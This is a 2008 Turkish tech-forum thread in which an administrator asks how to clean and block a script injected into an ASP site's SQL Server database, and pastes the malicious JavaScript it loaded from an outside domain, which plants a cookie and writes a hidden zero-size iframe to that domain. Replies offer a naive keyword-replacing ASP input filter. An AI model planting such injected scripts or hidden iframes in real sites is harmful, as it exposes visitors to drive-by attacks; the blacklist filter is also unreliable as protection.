SQL injection scripti nasıl engelleriz?

HPQ-User
30-05-2008, 12:34   |  #1  
OP CHIP Online
Teşekkür Sayısı: 29
30,996 mesaj
Kayıt Tarihi:Kayıt: Mar 2007

Ronahi sormuş:
merhabalar.
ASP de hazırlanmış, SQL 2000 kullanan bir web sitesinin bulunduğu server kendini durmadan kapatıyor.
database'in içine baktığımızda tablolarda ve alanlarda www.adw95.com/b.js scripti gördük. siteyi yayına alındığında bir süre açık kalıyor. ortalama yarım saat sonra server kendini kapatıyor. trafik istatistiklerine baktığımız zaman servera gelen trafik istatistiklerindeki gösterge yükseklerde görünüyor.
şimdi bu script database bulaşmış.(elimde temiz database de var)
- bu scripti nasıl temizleriz.
- bu scripti nasıl engelleriz.

>script src=http://www.adw95.com/b.js<>/script<


window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("banner82=");
if (start != -1)
{}else{
var expires = new Date();
expires.setTime(expires.getTime()+24*1*60*60*1000);
document.cookie = "banner82=update;expires=" + expires.toGMTString();
try{
document.write(">iframe src=http://adw95.com/cgi-bin/index.cgi?inbox width=0 height=0 frameborder=0<>/iframe<");
}
catch(e)
{
};
}


Soru Türü: Yazılım
İşletim Sistemi: Diğer
Sistem Özellikleri:
windows Server 2003 standart edition
AMD opteron işlemci
2 GB ram


İnternet Tarayıcı: Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14

samet1986
30-05-2008, 12:44   |  #2  
Yıllanmış Üye
Teşekkür Sayısı: 0
944 mesaj
Kayıt Tarihi:Kayıt: Nis 2006

Sanırım xss ile cookieler çalınmaya çalışıyor. ASP bilmiyorum ama googlede yaptığım aramalar sonucu şu fonksiyonu buldum. Kendine göre düzenlersin bu kısımı :

<%
function tam_filtre(gelen)
gelen = trim(gelen)
if gelen = "" then exit function
gelen = replace(gelen,"<","<",1,-1,1)
gelen = replace(gelen,">",">",1,-1,1)
gelen = replace(gelen,"""","""",1,-1,1)
gelen = replace(gelen,"'",""",1,-1,1)
gelen = replace(gelen,"=","=",1,-1,1)
gelen = replace(gelen," "," ",1,-1,1)
gelen = replace(gelen,"select","sel_ect",1,-1,1)
gelen = replace(gelen,"join","jo_in",1,-1,1)
gelen = replace(gelen,"union","un_ion",1,-1,1)
gelen = replace(gelen,"where","wh_ere",1,-1,1)
gelen = replace(gelen,"insert","ins_ert",1,-1,1)
gelen = replace(gelen,"delete","del_ete",1,-1,1)
gelen = replace(gelen,"update","up_date",1,-1,1)
gelen = replace(gelen,"like","lik_e",1,-1,1)
gelen = replace(gelen,"drop","dro_p",1,-1,1)
gelen = replace(gelen,"create","cr_eate",1,-1,1)
gelen = replace(gelen,"modify","mod_ify",1,-1,1)
gelen = replace(gelen,"rename","ren_aMe",1,-1,1)
gelen = replace(gelen,"alter","alt_er",1,-1,1)
gelen = replace(gelen,"cast","ca_st",1,-1,1)
tam_filtre = gelen
end function
%>
<%
...
ks.adnew
ks("alan1") = tam_filtre(request.form("alan1"))
...
...
ks("alanN") = tam_filtre(request.form("alanN"))
ks.update
...
%>

ronahi
30-05-2008, 12:59   |  #3  
Üye
Teşekkür Sayısı: 0
63 mesaj
Kayıt Tarihi:Kayıt: Mar 2004

merhabalar
yukardaki soruya ilişkin olarak.
yazmış olduğunuz koruma kodları için teşekkürler. ancak SQL injection a karşı koruma sağlayan kodlarımız var. ancak yine de server kapanıyor. acaba injection değil de exploit olabilir mi?
exploit ise nasıl önlem alabiliriz?


samet1986
30-05-2008, 19:20   |  #4  
Yıllanmış Üye
Teşekkür Sayısı: 0
944 mesaj
Kayıt Tarihi:Kayıt: Nis 2006

Bildiğim ve yaptığım kadarıyla söylemek gerekirse

>script src=http://www.adw95.com/b.js<>/script<

Kodunu adres satırı ile gelen değişkenlerin(get) sonuna koyarak ilgili .js dosyasını çağırarak (-ki burada sanırım js dosyasının içeriğinide vermişsiniz ) cookie çalınabiiliyor. Cookieden ziyade başka şeylerde yapılabilir kanımca.

asp bilmiyorum ama php'de get değişkenlerini özel karakterlerden filtreleyerek (',<,>," v.b.)çözüme gidilebiliyor.

Bir daha baktımda sitende 0'a 0 büyüklüğünde bir frame açılıyor... Googlede araştırdım biraz, istersen şu uzunca yazıyı okuyabilirsin...

Son Düzenleme: samet1986 ~ 30 Mayıs 2008 19:26
coxco
30-05-2008, 20:50   |  #5  
Taze Üye
Teşekkür Sayısı: 0
2 mesaj
Kayıt Tarihi:Kayıt: May 2007

Merhaba!!

Asp çalışmalarımı bitirdim ve Asp.Net Hakkında birşeyler yapmak istedim.
fakat gerekli yüklemeleri bilgisayarıma Yapamıyorum.(visual basik stıdio./net fremevork..)
IIS dede görüntüleyemiyorum.
yardımcı olursanız sevinirim.

işletim sistemi : xpsp2
ofis 2007
exploer 7
başka birşeye gerek yok sanırım!!
Şİmdiden teşekkürler.
Kaynak,ve geniş bilgiler için mailime msj atarsanız sevinirim.

coxco@mynet.com